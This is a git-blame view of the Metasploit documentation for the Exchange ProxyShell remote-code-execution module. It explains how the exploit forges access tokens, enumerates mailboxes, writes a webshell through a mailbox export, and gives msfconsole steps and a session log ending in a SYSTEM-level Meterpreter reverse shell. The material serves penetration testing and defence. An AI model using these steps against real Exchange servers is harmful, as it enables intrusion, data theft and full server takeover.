Files
metasploit-gs/documentation/modules/exploit/windows/http/exchange_proxyshell_rce.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

148 lines
6.4 KiB
Markdown
Raw Normal View History

2021-08-11 09:41:11 -04:00
## Vulnerable Application
2021-08-18 14:38:56 -05:00
2021-08-27 17:50:28 -04:00
This module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication
2021-08-11 09:41:11 -04:00
(CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
the RCE (Remote Code Execution).
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.15
* Exchange 2016 CU19 < 15.1.2176.12
2022-11-18 16:58:53 -05:00
* Exchange 2016 CU20 < 15.1.2242.8
2021-08-11 09:41:11 -04:00
* Exchange 2019 CU8 < 15.2.792.13
2022-11-18 16:58:53 -05:00
* Exchange 2019 CU9 < 15.2.858.10
2021-08-11 09:41:11 -04:00
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
2021-08-27 17:50:28 -04:00
### Exploit Internals
At a high level, the steps the exploit takes are as follows:
1. Build a Common Access Token corresponding to a user with the "Mailbox Import Export" role
1. If an email address is specified using the `EMAIL` datastore option, the exploit will attempt to use the owner
1. If no email address is specified
2023-10-10 14:46:18 -04:00
1. The exploit will leverage the SSRF to issue a request to EWS and enumerate the email addresses
2021-08-27 17:50:28 -04:00
* This technique was taken from [dmassland/proxyshell-poc](https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py)
1. The module will store the enumerated email addresses in a CSV file
1. Each of the email addresses will be checked for the necessary role
1. A common access token will be built using the verified user's SID
* Email addresses are mapped to SIDs using a request to autodiscover and MAPI
1. A draft email is saved to the identified user's mailbox containing an encoded webshell embedded within an attachment
1. The `New-MailboxExportRequest` cmdlet is used to export the attachment and write the webshell to an accessible location
1. The exploit waits for the webshell to be written and uses it to execute OS commands
1. The webshell*, export request and draft email are all removed
* *The webshell can only be remove automatically if the selected payload establishes a sessions (such as Meterpreter)
2021-08-11 09:41:11 -04:00
## Verification Steps
1. Start msfconsole
2021-08-27 17:50:28 -04:00
1. Do: `use exploit/windows/http/exchange_proxyshell_rce`
1. Do: `set RHOSTS [IP]`
1. Do: `run`
2021-08-11 09:41:11 -04:00
## Options
### EMAIL
2021-08-27 17:50:28 -04:00
A known email address for this organization. If specified, the user who owns the mailbox must either have the "Mailbox
Import Export" role already or have the necessary permissions to assign it to themselves. This would typically be some
sort of an administrative user. If this option is left blank, the module will enumerate all valid email addresses and
check each one for the necessary privileges.
2021-08-11 09:41:11 -04:00
### UseAlternatePath
Use the IIS root dir as alternate path. Default: `false`
## Advanced Options
### BackendServerName
Force the name of the backend Exchange server targeted. Default: Automatic
If not set, the automatic method will use an RPC call to detect the backend server FQDN. This is required because the
kerberos-authenticated SSRF can only be sent when the FQDN is known.
### ExchangeBasePath
The base path where Exchange is installed. Default: `C:\Program Files\Microsoft\Exchange Server\V15`
### ExchangeWritePath
The path where you want to write the backdoor. Default: `owa\auth`
You can for example, set it to: `ecp\auth`
### IISBasePath
The base path where IIS wwwroot directory is. Default: `C:\inetpub\wwwroot`
### IISWritePath
The path where you want to write the backdoor. Default: `aspnet_client`
### MapiClientApp
This is MAPI client version sent in the request.
2022-11-28 09:45:04 -05:00
### MaxBackendRetries
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
2021-08-11 09:41:11 -04:00
## Scenarios
### Exchange 2016 CU 19 on Server 2016
```
msf6 > use exploit/windows/http/exchange_proxyshell_rce
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_proxyshell_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf6 exploit(windows/http/exchange_proxyshell_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_proxyshell_rce) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
2021-08-27 17:50:28 -04:00
msf6 exploit(windows/http/exchange_proxyshell_rce) > check
[+] 192.168.159.42:443 - The target is vulnerable.
2021-08-11 09:41:11 -04:00
msf6 exploit(windows/http/exchange_proxyshell_rce) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Attempt to exploit for CVE-2021-34473
[*] Retrieving backend FQDN over RPC request
[*] Internal server name: win-bpid95acq7e.exchg.lan
2021-08-27 17:50:28 -04:00
[*] Enumerating valid email addresses and searching for one that either has the 'Mailbox Import Export' role or can self-assign it
[*] Enumerated 2 email addresses
[*] Saved mailbox and email address data to: /home/smcintyre/.msf4/loot/20210827174927_default_192.168.159.42_ad.exchange.mail_205456.txt
[+] Successfully assigned the 'Mailbox Import Export' role
[+] Proceeding with SID: S-1-5-21-2800676829-2777257591-1686523126-1000 (smcintyre@exchg.lan)
[*] Saving a draft email with subject 'ie1Y1uNnLfxL' containing the attachment with the embedded webshell
[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\n7AB4NuOznEA.aspx
2021-08-11 09:41:11 -04:00
[*] Waiting for the export request to complete...
[+] The mailbox export request has completed
[*] Triggering the payload
[*] Sending stage (200262 bytes) to 192.168.159.42
2021-08-27 17:50:28 -04:00
[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\n7AB4NuOznEA.aspx
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.42:7149) at 2021-08-27 17:49:40 -0400
2021-08-11 09:41:11 -04:00
[*] Removing the mailbox export request
2021-08-27 17:50:28 -04:00
[*] Removing the draft email
2021-08-11 09:41:11 -04:00
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BPID95ACQ7E
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : EXCHG
2021-08-27 17:50:28 -04:00
Logged On Users : 8
2021-08-11 09:41:11 -04:00
Meterpreter : x64/windows
2021-08-18 14:38:56 -05:00
meterpreter >
2021-08-11 09:41:11 -04:00
```
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064